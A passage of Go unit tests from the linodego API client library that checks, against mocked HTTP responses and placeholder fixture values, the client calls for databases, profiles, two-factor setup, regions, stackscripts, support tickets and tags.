assert.Equal(t, 3, db.ClusterSize) assert.Equal(t, "postgresql", db.Engine) assert.Equal(t, 123, db.ID) assert.Equal(t, "example-db-updated", db.Label) assert.Equal(t, linodego.DatabasePlatform("rdbms-default"), db.Platform) assert.Equal(t, 3306, db.Port) assert.Equal(t, "us-east", db.Region) assert.Equal(t, linodego.DatabaseStatus("active"), db.Status) assert.Equal(t, 15, db.TotalDiskSizeGB) assert.Equal(t, "g6-dedicated-2", db.Type) assert.Equal(t, 3, db.Updates.Duration) assert.Equal(t, linodego.DatabaseDayOfWeek(1), db.Updates.DayOfWeek) assert.Equal(t, linodego.DatabaseMaintenanceFrequency("weekly"), db.Updates.Frequency) assert.Equal(t, 0, db.Updates.HourOfDay) assert.Equal(t, 2, db.UsedDiskSizeGB) assert.Equal(t, "13.2", db.Version) } func TestDatabasePostgreSQL_Create(t *testing.T) { fixtureData, err := fixtures.GetFixture("postgresql_database_create") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) requestData := linodego.PostgresCreateOptions{ Label: "example-db-created", Region: "us-east", Type: "g6-dedicated-2", Engine: "postgresql", } base.MockPost("databases/postgresql/instances", fixtureData) db, err := base.Client.CreatePostgresDatabase(context.Background(), requestData) assert.NoError(t, err) assert.Equal(t, 3, db.ClusterSize) assert.Equal(t, "postgresql", db.Engine) assert.Equal(t, 123, db.ID) assert.Equal(t, "example-db-created", db.Label) assert.Equal(t, linodego.DatabasePlatform("rdbms-default"), db.Platform) assert.Equal(t, 3306, db.Port) assert.Equal(t, "us-east", db.Region) assert.Equal(t, linodego.DatabaseStatus("active"), db.Status) assert.Equal(t, 15, db.TotalDiskSizeGB) assert.Equal(t, "g6-dedicated-2", db.Type) assert.Equal(t, 3, db.Updates.Duration) assert.Equal(t, linodego.DatabaseDayOfWeek(1), db.Updates.DayOfWeek) assert.Equal(t, linodego.DatabaseMaintenanceFrequency("weekly"), db.Updates.Frequency) assert.Equal(t, 0, db.Updates.HourOfDay) assert.Equal(t, 2, db.UsedDiskSizeGB) assert.Equal(t, "13.2", db.Version) } func TestDatabasePostgreSQL_Delete(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("DELETE", mockRequestURL(t, "databases/postgresql/instances/123"), httpmock.NewStringResponder(200, "{}")) if err := client.DeletePostgresDatabase(context.Background(), 123); err != nil { t.Fatal(err) } } func TestDatabasePostgreSQL_SSL_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("postgresql_database_ssl_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("databases/postgresql/instances/123/ssl", fixtureData) ssl, err := base.Client.GetPostgresDatabaseSSL(context.Background(), 123) assert.NoError(t, err) expectedCACertificate := []byte("-----BEGIN CERTIFICATE-----\nThis is a test certificate\n-----END CERTIFICATE-----\n") assert.Equal(t, expectedCACertificate, ssl.CACertificate) } func TestDatabasePostgreSQL_Credentials_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("postgresql_database_credentials_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("databases/postgresql/instances/123/credentials", fixtureData) creds, err := base.Client.GetPostgresDatabaseCredentials(context.Background(), 123) assert.NoError(t, err) assert.Equal(t, "linroot", creds.Username) assert.Equal(t, "s3cur3P@ssw0rd", creds.Password) } func TestDatabasePostgreSQL_Credentials_Reset(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "databases/postgresql/instances/123/credentials/reset"), httpmock.NewStringResponder(200, "{}")) if err := client.ResetPostgresDatabaseCredentials(context.Background(), 123); err != nil { t.Fatal(err) } } func TestDatabasePostgreSQL_Patch(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "databases/postgresql/instances/123/patch"), httpmock.NewStringResponder(200, "{}")) if err := client.PatchPostgresDatabase(context.Background(), 123); err != nil { t.Fatal(err) } } golang-github-linode-linodego-1.47.0/test/unit/profile_apps_test.go000066400000000000000000000026731474652371000254300ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/jarcoal/httpmock" "github.com/stretchr/testify/assert" ) func TestProfileApps_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("profile_apps_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("profile/apps/123", fixtureData) app, err := base.Client.GetProfileApp(context.Background(), 123) assert.NoError(t, err) assert.Equal(t, 123, app.ID) assert.Equal(t, "example-app", app.Label) assert.Equal(t, "linodes:read_only", app.Scopes) assert.Equal(t, "example.org", app.Website) } func TestProfileApps_List(t *testing.T) { fixtureData, err := fixtures.GetFixture("profile_apps_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("profile/apps", fixtureData) apps, err := base.Client.ListProfileApps(context.Background(), nil) assert.NoError(t, err) assert.Equal(t, 1, len(apps)) app := apps[0] assert.Equal(t, 123, app.ID) assert.Equal(t, "example-app", app.Label) assert.Equal(t, "linodes:read_only", app.Scopes) assert.Equal(t, "example.org", app.Website) } func TestProfileApps_Delete(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("DELETE", mockRequestURL(t, "profile/apps/123"), httpmock.NewStringResponder(200, "{}")) if err := client.DeleteProfileApp(context.Background(), 123); err != nil { t.Fatal(err) } } golang-github-linode-linodego-1.47.0/test/unit/profile_devices_test.go000066400000000000000000000032611474652371000261010ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/jarcoal/httpmock" "github.com/stretchr/testify/assert" ) func TestProfileDevices_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("profile_devices_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("profile/devices/123", fixtureData) device, err := base.Client.GetProfileDevice(context.Background(), 123) assert.NoError(t, err) assert.Equal(t, 123, device.ID) assert.Equal(t, "203.0.113.1", device.LastRemoteAddr) assert.Equal(t, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 Vivaldi/2.1.1337.36", device.UserAgent) } func TestProfileDevices_List(t *testing.T) { fixtureData, err := fixtures.GetFixture("profile_devices_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("profile/devices", fixtureData) devices, err := base.Client.ListProfileDevices(context.Background(), nil) assert.NoError(t, err) assert.Equal(t, 1, len(devices)) device := devices[0] assert.Equal(t, 123, device.ID) assert.Equal(t, "203.0.113.1", device.LastRemoteAddr) assert.Equal(t, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 Vivaldi/2.1.1337.36", device.UserAgent) } func TestProfileDevices_Delete(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("DELETE", mockRequestURL(t, "profile/devices/123"), httpmock.NewStringResponder(200, "{}")) if err := client.DeleteProfileDevice(context.Background(), 123); err != nil { t.Fatal(err) } } golang-github-linode-linodego-1.47.0/test/unit/profile_grants_list_test.go000066400000000000000000000027171474652371000270150ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/stretchr/testify/assert" ) func TestGrantsList(t *testing.T) { fixtureData, err := fixtures.GetFixture("profile_grants_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("profile/grants", fixtureData) grants, err := base.Client.GrantsList(context.Background()) assert.NoError(t, err) assert.Equal(t, "read_only", string(*grants.Global.AccountAccess)) assert.True(t, grants.Global.AddDatabases) assert.True(t, grants.Global.AddDomains) assert.True(t, grants.Global.AddFirewalls) assert.False(t, grants.Global.CancelAccount) assert.Len(t, grants.Database, 1) assert.Equal(t, 123, grants.Database[0].ID) assert.Equal(t, "example-entity", grants.Database[0].Label) assert.Equal(t, "read_only", string(grants.Database[0].Permissions)) assert.Len(t, grants.Domain, 1) assert.Equal(t, 123, grants.Domain[0].ID) assert.Equal(t, "example-entity", grants.Domain[0].Label) assert.Equal(t, "read_only", string(grants.Domain[0].Permissions)) assert.Len(t, grants.Firewall, 1) assert.Equal(t, 123, grants.Firewall[0].ID) assert.Equal(t, "example-entity", grants.Firewall[0].Label) assert.Equal(t, "read_only", string(grants.Firewall[0].Permissions)) assert.Len(t, grants.Linode, 1) assert.Equal(t, 123, grants.Linode[0].ID) assert.Equal(t, "example-entity", grants.Linode[0].Label) assert.Equal(t, "read_only", string(grants.Linode[0].Permissions)) } golang-github-linode-linodego-1.47.0/test/unit/profile_phone_number_test.go000066400000000000000000000023731474652371000271430ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/jarcoal/httpmock" "github.com/linode/linodego" ) func TestPhoneNumber_SendVerificationCode(t *testing.T) { client := createMockClient(t) requestData := linodego.SendPhoneNumberVerificationCodeOptions{ ISOCode: "US", PhoneNumber: "137-137-1337", } httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "/profile/phone-number"), mockRequestBodyValidate(t, requestData, nil)) if err := client.SendPhoneNumberVerificationCode(context.Background(), requestData); err != nil { t.Fatal(err) } } func TestPhoneNumber_Delete(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("DELETE", mockRequestURL(t, "/profile/phone-number"), httpmock.NewStringResponder(200, "{}")) if err := client.DeletePhoneNumber(context.Background()); err != nil { t.Fatal(err) } } func TestPhoneNumber_Verify(t *testing.T) { client := createMockClient(t) requestData := linodego.VerifyPhoneNumberOptions{ OTPCode: "123456", } httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "/profile/phone-number/verify"), mockRequestBodyValidate(t, requestData, nil)) if err := client.VerifyPhoneNumber(context.Background(), requestData); err != nil { t.Fatal(err) } } golang-github-linode-linodego-1.47.0/test/unit/profile_preferences_test.go000066400000000000000000000023571474652371000267650ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestProfilePreferences_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("profile_preferences_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("profile/preferences", fixtureData) preferences, err := base.Client.GetProfilePreferences(context.Background()) assert.NoError(t, err) expectedPreferences := linodego.ProfilePreferences{ "key1": "value1", "key2": "value2", } assert.Equal(t, expectedPreferences, *preferences) } func TestProfilePreferences_update(t *testing.T) { fixtureData, err := fixtures.GetFixture("profile_preferences_update") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) requestData := linodego.ProfilePreferences{ "key1": "value1_new", "key2": "value2_new", } base.MockPut("profile/preferences", fixtureData) preferences, err := base.Client.UpdateProfilePreferences(context.Background(), requestData) assert.NoError(t, err) expectedPreferences := linodego.ProfilePreferences{ "key1": "value1_new", "key2": "value2_new", } assert.Equal(t, expectedPreferences, *preferences) } golang-github-linode-linodego-1.47.0/test/unit/profile_security_questions_test.go000066400000000000000000000025021474652371000304350ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/stretchr/testify/assert" "github.com/jarcoal/httpmock" "github.com/linode/linodego" ) func TestSecurityQuestions_List(t *testing.T) { fixtureData, err := fixtures.GetFixture("profile_security_question_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("profile/security-questions", fixtureData) securityQuestions, err := base.Client.SecurityQuestionsList(context.Background()) assert.NoError(t, err) assert.Len(t, securityQuestions.SecurityQuestions, 1) assert.Equal(t, 1, securityQuestions.SecurityQuestions[0].ID) assert.Equal(t, "In what city were you born?", securityQuestions.SecurityQuestions[0].Question) assert.Equal(t, "Gotham City", securityQuestions.SecurityQuestions[0].Response) } func TestSecurityQuestions_Answer(t *testing.T) { client := createMockClient(t) requestData := linodego.SecurityQuestionsAnswerOptions{ SecurityQuestions: []linodego.SecurityQuestionsAnswerQuestion{ { QuestionID: 1, Response: "cool", }, }, } httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "/profile/security-questions"), mockRequestBodyValidate(t, requestData, nil)) if err := client.SecurityQuestionsAnswer(context.Background(), requestData); err != nil { t.Fatal(err) } } golang-github-linode-linodego-1.47.0/test/unit/profile_test.go000066400000000000000000000052141474652371000243770ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestProfile_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("profile_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("profile", fixtureData) profile, err := base.Client.GetProfile(context.Background()) assert.NoError(t, err) assert.Equal(t, "password", profile.AuthenticationType) assert.Equal(t, "example-user@gmail.com", profile.Email) assert.Equal(t, true, profile.EmailNotifications) assert.Equal(t, linodego.LishAuthMethod("keys_only"), profile.LishAuthMethod) assert.Equal(t, "871be32f49c1411b14f29f618aaf0c14637fb8d3", profile.Referrals.Code) assert.Equal(t, 0, profile.Referrals.Completed) assert.Equal(t, float64(0), profile.Referrals.Credit) assert.Equal(t, 0, profile.Referrals.Pending) assert.Equal(t, 0, profile.Referrals.Total) assert.Equal(t, "https://www.linode.com/?r=871be32f49c1411b14f29f618aaf0c14637fb8d3", profile.Referrals.URL) assert.Equal(t, false, profile.Restricted) assert.Equal(t, "US/Eastern", profile.Timezone) assert.Equal(t, true, profile.TwoFactorAuth) assert.Equal(t, 1234, profile.UID) assert.Equal(t, "exampleUser", profile.Username) assert.Equal(t, "+5555555555", profile.VerifiedPhoneNumber) } func TestProfile_Update(t *testing.T) { fixtureData, err := fixtures.GetFixture("profile_update") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) requestData := linodego.ProfileUpdateOptions{ Email: "example-user-new@gmail.com", } base.MockPut("profile", fixtureData) profile, err := base.Client.UpdateProfile(context.Background(), requestData) assert.NoError(t, err) assert.Equal(t, "password", profile.AuthenticationType) assert.Equal(t, "example-user-new@gmail.com", profile.Email) assert.Equal(t, true, profile.EmailNotifications) assert.Equal(t, linodego.LishAuthMethod("keys_only"), profile.LishAuthMethod) assert.Equal(t, "871be32f49c1411b14f29f618aaf0c14637fb8d3", profile.Referrals.Code) assert.Equal(t, 0, profile.Referrals.Completed) assert.Equal(t, float64(0), profile.Referrals.Credit) assert.Equal(t, 0, profile.Referrals.Pending) assert.Equal(t, 0, profile.Referrals.Total) assert.Equal(t, "https://www.linode.com/?r=871be32f49c1411b14f29f618aaf0c14637fb8d3", profile.Referrals.URL) assert.Equal(t, false, profile.Restricted) assert.Equal(t, "US/Eastern", profile.Timezone) assert.Equal(t, true, profile.TwoFactorAuth) assert.Equal(t, 1234, profile.UID) assert.Equal(t, "exampleUser", profile.Username) assert.Equal(t, "+5555555555", profile.VerifiedPhoneNumber) } golang-github-linode-linodego-1.47.0/test/unit/profile_tfa_test.go000066400000000000000000000027211474652371000252310ustar00rootroot00000000000000package unit import ( "context" "testing" "time" "github.com/stretchr/testify/assert" "github.com/jarcoal/httpmock" "github.com/linode/linodego" ) func TestTwoFactor_CreateSecret_smoke(t *testing.T) { fixtureData, err := fixtures.GetFixture("profile_two_factor_secret_create") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockPost("profile/tfa-enable", fixtureData) secret, err := base.Client.CreateTwoFactorSecret(context.Background()) assert.NoError(t, err) assert.Equal(t, time.Time(time.Date(2018, time.March, 1, 0, 1, 1, 0, time.UTC)), *secret.Expiry) assert.Equal(t, "5FXX6KLACOC33GTC", secret.Secret) } func TestTwoFactor_Disable(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "/profile/tfa-disable"), httpmock.NewStringResponder(200, "{}")) if err := client.DisableTwoFactor(context.Background()); err != nil { t.Fatal(err) } } func TestTwoFactor_Confirm(t *testing.T) { fixtureData, err := fixtures.GetFixture("profile_two_factor_enable") assert.NoError(t, err) request := linodego.ConfirmTwoFactorOptions{TFACode: "reallycoolandlegittfacode"} var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockPost("profile/tfa-enable-confirm", fixtureData) response, err := base.Client.ConfirmTwoFactor(context.Background(), request) assert.NoError(t, err) assert.Equal(t, "reallycoolandlegittfacode", response.Scratch) } golang-github-linode-linodego-1.47.0/test/unit/region_test.go000066400000000000000000000125341474652371000242250ustar00rootroot00000000000000package unit import ( "context" "fmt" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/assert" "golang.org/x/exp/slices" ) func TestListRegions(t *testing.T) { // Load the fixture data for regions fixtureData, err := fixtures.GetFixture("regions_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("regions", fixtureData) regions, err := base.Client.ListRegions(context.Background(), &linodego.ListOptions{}) assert.NoError(t, err) assert.NotEmpty(t, regions, "Expected non-empty region list") // Validate a specific region using slices.ContainsFunc exists := slices.ContainsFunc(regions, func(region linodego.Region) bool { return region.ID == "us-east" }) assert.True(t, exists, "Expected region list to contain 'us-east'") // Additional assertions for _, region := range regions { assert.NotEmpty(t, region.Country, "Expected region country to be set") assert.NotEmpty(t, region.Capabilities, "Expected region capabilities to be set") assert.NotEmpty(t, region.Status, "Expected region status to be set") assert.NotEmpty(t, region.Label, "Expected region label to be set") assert.NotEmpty(t, region.SiteType, "Expected region site type to be set") assert.NotNil(t, region.Resolvers, "Expected region resolvers to be set") assert.NotEmpty(t, region.Resolvers.IPv4, "Expected IPv4 resolver to be set") assert.NotEmpty(t, region.Resolvers.IPv6, "Expected IPv6 resolver to be set") assert.NotNil(t, region.PlacementGroupLimits, "Expected placement group limits to be set") if region.PlacementGroupLimits != nil { assert.Greater(t, region.PlacementGroupLimits.MaximumPGsPerCustomer, 0, "Expected MaximumPGsPerCustomer to be greater than 0") assert.Greater(t, region.PlacementGroupLimits.MaximumLinodesPerPG, 0, "Expected MaximumLinodesPerPG to be greater than 0") } assert.Contains(t, region.Capabilities, linodego.CapabilityLinodes, "Expected region to support Linodes") } } func TestGetRegion(t *testing.T) { // Load the fixture data for a specific region fixtureData, err := fixtures.GetFixture("region_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) regionID := "us-east" base.MockGet(fmt.Sprintf("regions/%s", regionID), fixtureData) region, err := base.Client.GetRegion(context.Background(), regionID) assert.NoError(t, err) assert.NotNil(t, region, "Expected region object to be returned") assert.Equal(t, "us-east", region.ID, "Expected region ID to be 'us-east'") assert.NotEmpty(t, region.Country, "Expected Country field to be populated") assert.NotEmpty(t, region.Capabilities, "Expected Capabilities field to be populated") assert.NotEmpty(t, region.Status, "Expected Status field to be populated") assert.NotEmpty(t, region.Label, "Expected Label field to be populated") assert.NotEmpty(t, region.SiteType, "Expected SiteType field to be populated") assert.NotNil(t, region.Resolvers, "Expected Resolvers field to be populated") assert.NotEmpty(t, region.Resolvers.IPv4, "Expected IPv4 resolver to be set") assert.NotEmpty(t, region.Resolvers.IPv6, "Expected IPv6 resolver to be set") assert.NotNil(t, region.PlacementGroupLimits, "Expected PlacementGroupLimits field to be set") if region.PlacementGroupLimits != nil { assert.Greater(t, region.PlacementGroupLimits.MaximumPGsPerCustomer, 0, "Expected MaximumPGsPerCustomer to be greater than 0") assert.Greater(t, region.PlacementGroupLimits.MaximumLinodesPerPG, 0, "Expected MaximumLinodesPerPG to be greater than 0") } assert.Contains(t, region.Capabilities, linodego.CapabilityLinodes, "Expected region to support Linodes") } func TestListRegionsAvailability(t *testing.T) { // Load the fixture data for region availability fixtureData, err := fixtures.GetFixture("regions_availability_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("regions/availability", fixtureData) availability, err := base.Client.ListRegionsAvailability(context.Background(), &linodego.ListOptions{}) assert.NoError(t, err) assert.NotEmpty(t, availability, "Expected non-empty region availability list") // Check if a specific region availability exists using slices.ContainsFunc exists := slices.ContainsFunc(availability, func(a linodego.RegionAvailability) bool { return a.Region == "us-east" && a.Available }) assert.True(t, exists, "Expected region availability list to contain 'us-east' with available status") // Additional assertions for _, avail := range availability { assert.NotEmpty(t, avail.Plan, "Expected plan to be set") } } func TestGetRegionAvailability(t *testing.T) { // Load the fixture data for a specific region availability fixtureData, err := fixtures.GetFixture("region_availability_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) regionID := "us-east" base.MockGet(fmt.Sprintf("regions/%s/availability", regionID), fixtureData) availability, err := base.Client.GetRegionAvailability(context.Background(), regionID) assert.NoError(t, err) assert.NotNil(t, availability, "Expected region availability object to be returned") assert.Equal(t, "us-east", availability.Region, "Expected region ID to be 'us-east'") assert.True(t, availability.Available, "Expected region to be available") assert.NotEmpty(t, availability.Plan, "Expected plan to be set") } golang-github-linode-linodego-1.47.0/test/unit/stackscripts_test.go000066400000000000000000000073531474652371000254620ustar00rootroot00000000000000package unit import ( "context" "fmt" "testing" "github.com/stretchr/testify/assert" "github.com/linode/linodego" "golang.org/x/exp/slices" ) func TestListStackscripts(t *testing.T) { // Mock the API response to match the expected structure for a paginated response fixtureData, err := fixtures.GetFixture("stackscripts_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) // Mock the request with a correct paginated structure base.MockGet("linode/stackscripts", fixtureData) stackscripts, err := base.Client.ListStackscripts(context.Background(), &linodego.ListOptions{}) assert.NoError(t, err) assert.NotEmpty(t, stackscripts, "Expected non-empty stackscripts list") // Check if a specific stackscript exists using slices.ContainsFunc exists := slices.ContainsFunc(stackscripts, func(stackscript linodego.Stackscript) bool { return stackscript.Label == "Test Stackscript" }) assert.True(t, exists, "Expected stackscripts list to contain 'Test Stackscript'") } func TestCreateStackscript(t *testing.T) { // Load the fixture data for stackscript creation fixtureData, err := fixtures.GetFixture("stackscript_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockPost("linode/stackscripts", fixtureData) opts := linodego.StackscriptCreateOptions{ Label: "new-stackscript", Description: "A new stackscript", Images: []string{"linode/ubuntu20.04"}, IsPublic: true, RevNote: "Initial revision", Script: "#!/bin/bash\necho Hello", } stackscript, err := base.Client.CreateStackscript(context.Background(), opts) assert.NoError(t, err, "Expected no error when creating stackscript") // Verify the created stackscript's label assert.Equal(t, "new-stackscript", stackscript.Label, "Expected created stackscript label to match input") } func TestDeleteStackscript(t *testing.T) { var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) stackscriptID := 123 base.MockDelete(fmt.Sprintf("linode/stackscripts/%d", stackscriptID), nil) err := base.Client.DeleteStackscript(context.Background(), stackscriptID) assert.NoError(t, err, "Expected no error when deleting stackscript") } func TestGetStackscript(t *testing.T) { // Load the fixture data for a single stackscript fixtureData, err := fixtures.GetFixture("stackscript_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) stackscriptID := 123 base.MockGet(fmt.Sprintf("linode/stackscripts/%d", stackscriptID), fixtureData) stackscript, err := base.Client.GetStackscript(context.Background(), stackscriptID) assert.NoError(t, err) // Verify the stackscript's label assert.Equal(t, "new-stackscript", stackscript.Label, "Expected stackscript label to match fixture") } func TestUpdateStackscript(t *testing.T) { // Load the fixture data for stackscript update fixtureData, err := fixtures.GetFixture("stackscript_revision") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) stackscriptID := 123 base.MockPut(fmt.Sprintf("linode/stackscripts/%d", stackscriptID), fixtureData) opts := linodego.StackscriptUpdateOptions{ Label: "Updated Stackscript", Description: "Updated description", Images: []string{"linode/ubuntu20.04"}, IsPublic: false, RevNote: "Updated revision", Script: "#!/bin/bash\necho Hello Updated", } updatedStackscript, err := base.Client.UpdateStackscript(context.Background(), stackscriptID, opts) assert.NoError(t, err) // Verify the updated stackscript's label assert.Equal(t, "Updated Stackscript", updatedStackscript.Label, "Expected updated stackscript label to match input") } golang-github-linode-linodego-1.47.0/test/unit/support_test.go000066400000000000000000000053311474652371000244530ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestSupportTicket_List(t *testing.T) { fixtureData, err := fixtures.GetFixture("support_ticket_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("support/tickets", fixtureData) tickets, err := base.Client.ListTickets(context.Background(), nil) if err != nil { t.Fatalf("Error listing tickets: %v", err) } assert.Equal(t, 1, len(tickets)) ticket := tickets[0] assert.Equal(t, []string{"screenshot.jpg", "screenshot.txt"}, ticket.Attachments) assert.Equal(t, false, ticket.Closeable) assert.Equal(t, "I am having trouble setting the root password on my Linode. I tried following the instructions but something is not working. Can you please help me figure out how I can reset it?", ticket.Description) assert.Equal(t, 10400, ticket.Entity.ID) assert.Equal(t, "linode123456", ticket.Entity.Label) assert.Equal(t, "linode", ticket.Entity.Type) assert.Equal(t, "/v4/linode/instances/123456", ticket.Entity.URL) assert.Equal(t, "474a1b7373ae0be4132649e69c36ce30", ticket.GravatarID) assert.Equal(t, 11223344, ticket.ID) assert.Equal(t, "some_user", ticket.OpenedBy) assert.Equal(t, linodego.TicketStatus("open"), ticket.Status) assert.Equal(t, "Having trouble resetting root password on my Linode", ticket.Summary) assert.Equal(t, "some_other_user", ticket.UpdatedBy) } func TestSupportTicket_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("support_ticket_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("support/tickets/11223344", fixtureData) ticket, err := base.Client.GetTicket(context.Background(), 11223344) if err != nil { t.Fatalf("Error getting ticket: %v", err) } assert.Equal(t, []string{"screenshot.jpg", "screenshot.txt"}, ticket.Attachments) assert.Equal(t, false, ticket.Closeable) assert.Equal(t, "I am having trouble setting the root password on my Linode. I tried following the instructions but something is not working. Can you please help me figure out how I can reset it?", ticket.Description) assert.Equal(t, 10400, ticket.Entity.ID) assert.Equal(t, "linode123456", ticket.Entity.Label) assert.Equal(t, "linode", ticket.Entity.Type) assert.Equal(t, "/v4/linode/instances/123456", ticket.Entity.URL) assert.Equal(t, "474a1b7373ae0be4132649e69c36ce30", ticket.GravatarID) assert.Equal(t, 11223344, ticket.ID) assert.Equal(t, "some_user", ticket.OpenedBy) assert.Equal(t, linodego.TicketStatus("open"), ticket.Status) assert.Equal(t, "Having trouble resetting root password on my Linode", ticket.Summary) assert.Equal(t, "some_other_user", ticket.UpdatedBy) } golang-github-linode-linodego-1.47.0/test/unit/tag_test.go000066400000000000000000000064671474652371000235250ustar00rootroot00000000000000package unit import ( "context" "fmt" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/assert" "golang.org/x/exp/slices" ) func TestListTags(t *testing.T) { // Load the fixture data for tags fixtureData, err := fixtures.GetFixture("tags_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("tags", fixtureData) tags, err := base.Client.ListTags(context.Background(), &linodego.ListOptions{}) assert.NoError(t, err) assert.NotEmpty(t, tags, "Expected non-empty tag list") // Check if a specific tag exists using slices.ContainsFunc exists := slices.ContainsFunc(tags, func(tag linodego.Tag) bool { return tag.Label == "example-tag" }) assert.True(t, exists, "Expected tag list to contain 'example-tag'") } func TestCreateTag(t *testing.T) { // Load the fixture data for tag creation fixtureData, err := fixtures.GetFixture("tag_create") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockPost("tags", fixtureData) opts := linodego.TagCreateOptions{ Label: "new-tag", } tag, err := base.Client.CreateTag(context.Background(), opts) assert.NoError(t, err, "Expected no error when creating tag") // Verify the created tag's label assert.Equal(t, "new-tag", tag.Label, "Expected created tag label to match input") } func TestDeleteTag(t *testing.T) { var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) tagLabel := "delete-tag" base.MockDelete(fmt.Sprintf("tags/%s", tagLabel), nil) err := base.Client.DeleteTag(context.Background(), tagLabel) assert.NoError(t, err, "Expected no error when deleting tag") } func TestListTaggedObjects(t *testing.T) { // Load the fixture data for tagged objects fixtureData, err := fixtures.GetFixture("tagged_objects_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) tagLabel := "example-tag" base.MockGet(fmt.Sprintf("tags/%s", tagLabel), fixtureData) taggedObjects, err := base.Client.ListTaggedObjects(context.Background(), tagLabel, &linodego.ListOptions{}) assert.NoError(t, err) assert.NotEmpty(t, taggedObjects, "Expected non-empty tagged objects list") // Find the specific tagged object using slices.IndexFunc index := slices.IndexFunc(taggedObjects, func(obj linodego.TaggedObject) bool { return obj.Type == "linode" }) assert.NotEqual(t, -1, index, "Expected to find a tagged object of type 'linode'") if index != -1 { assert.Equal(t, "linode", taggedObjects[index].Type, "Expected tagged object type to be 'linode'") } } func TestSortedObjects(t *testing.T) { // Load the fixture data for tagged objects fixtureData, err := fixtures.GetFixture("tagged_objects_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) tagLabel := "example-tag" base.MockGet(fmt.Sprintf("tags/%s", tagLabel), fixtureData) taggedObjects, err := base.Client.ListTaggedObjects(context.Background(), tagLabel, &linodego.ListOptions{}) assert.NoError(t, err) sortedObjects, err := taggedObjects.SortedObjects() assert.NoError(t, err) assert.NotEmpty(t, sortedObjects.Instances, "Expected non-empty instances list in sorted objects") assert.Equal(t, "example-instance", sortedObjects.Instances[0].Label, "Expected instance label to be 'example-instance'") } golang-github-linode-linodego-1.47.0/test/unit/types_test.go000066400000000000000000000047561474652371000241150ustar00rootroot00000000000000package unit import ( "context" "fmt" "github.com/linode/linodego" 